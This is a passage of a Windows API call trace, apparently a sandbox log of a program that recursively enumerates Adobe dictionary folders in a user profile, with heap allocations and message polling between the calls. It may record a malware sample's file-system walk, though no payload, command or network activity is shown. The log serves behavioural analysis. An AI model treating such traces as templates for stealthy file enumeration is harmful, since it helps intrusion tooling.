[0062.490] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.490] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.490] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.490] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.490] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.490] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.490] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.490] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.490] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.490] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.490] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.490] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.490] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.490] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.490] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.490] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.490] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.490] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.490] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.490] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.490] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.490] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.490] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.490] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.491] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\") returned="brz\\" [0062.491] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0062.491] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0062.491] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0062.491] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0062.491] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0062.491] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0062.491] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0062.491] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0062.491] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0062.491] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0062.491] PathFindFileNameW (pszPath="") returned="" [0062.491] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0062.492] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.492] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0062.492] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0062.492] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0062.492] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0062.492] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\") returned="dan\\" [0062.492] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0062.492] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0062.493] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0062.493] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0062.493] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0062.493] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0062.493] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0062.493] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0062.493] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0062.493] PathFindFileNameW (pszPath="") returned="" [0062.493] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0062.493] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.493] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0062.493] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0062.493] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0062.493] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0062.493] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\") returned="dut\\" [0062.494] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0062.494] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0062.494] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0062.494] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0062.494] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0062.494] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0062.494] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0062.494] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0062.494] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0062.494] PathFindFileNameW (pszPath="") returned="" [0062.494] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0062.494] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.494] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0062.494] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0062.494] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0062.495] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0062.495] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\") returned="eng\\" [0062.495] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0062.495] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0062.495] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0062.495] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0062.495] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0062.495] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0062.495] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0062.495] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0062.495] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0062.495] PathFindFileNameW (pszPath="") returned="" [0062.495] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0062.495] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.495] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0062.495] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0062.496] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0062.496] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0062.496] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\") returned="frn\\" [0062.496] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0062.496] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0062.496] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0062.496] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0062.496] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0062.496] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0062.496] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0062.496] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0062.496] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0062.496] PathFindFileNameW (pszPath="") returned="" [0062.496] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0062.496] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.497] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0062.497] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0062.497] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0062.497] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0062.497] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\") returned="grm\\" [0062.497] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0062.497] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0062.497] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0062.497] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0062.497] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0062.497] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0062.497] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0062.497] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0062.497] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0062.497] PathFindFileNameW (pszPath="") returned="" [0062.497] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0062.498] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.498] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0062.498] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0062.498] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0062.498] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0062.498] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\") returned="itl\\" [0062.498] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0062.498] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0062.498] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0062.498] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0062.498] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0062.498] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0062.498] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0062.498] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0062.498] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0062.498] PathFindFileNameW (pszPath="") returned="" [0062.499] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, 